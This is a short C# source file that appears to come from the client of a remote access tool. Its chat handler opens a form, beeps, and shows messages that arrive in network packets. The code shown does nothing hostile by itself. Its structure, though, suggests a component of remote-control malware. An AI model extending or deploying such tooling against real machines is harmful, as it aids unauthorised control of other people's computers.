48 lines
1.2 KiB
C#
48 lines
1.2 KiB
C#
using Client.Helper;
|
|
using Client.MessagePack;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Linq;
|
|
using System.Text;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
|
|
namespace Client.Handle_Packet
|
|
{
|
|
public class HandlerChat
|
|
{
|
|
|
|
public void CreateChat()
|
|
{
|
|
new Thread(() =>
|
|
{
|
|
Packet.GetFormChat = new FormChat();
|
|
Packet.GetFormChat.ShowDialog();
|
|
}).Start();
|
|
}
|
|
public void WriteInput(MsgPack unpack_msgpack)
|
|
{
|
|
if (Packet.GetFormChat.InvokeRequired)
|
|
{
|
|
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
|
|
{
|
|
Console.Beep();
|
|
Packet.GetFormChat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Input").AsString + Environment.NewLine);
|
|
}));
|
|
}
|
|
}
|
|
|
|
public void ExitChat()
|
|
{
|
|
if (Packet.GetFormChat.InvokeRequired)
|
|
{
|
|
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
|
|
{
|
|
Packet.GetFormChat.Close();
|
|
Packet.GetFormChat.Dispose();
|
|
}));
|
|
}
|
|
}
|
|
}
|
|
}
|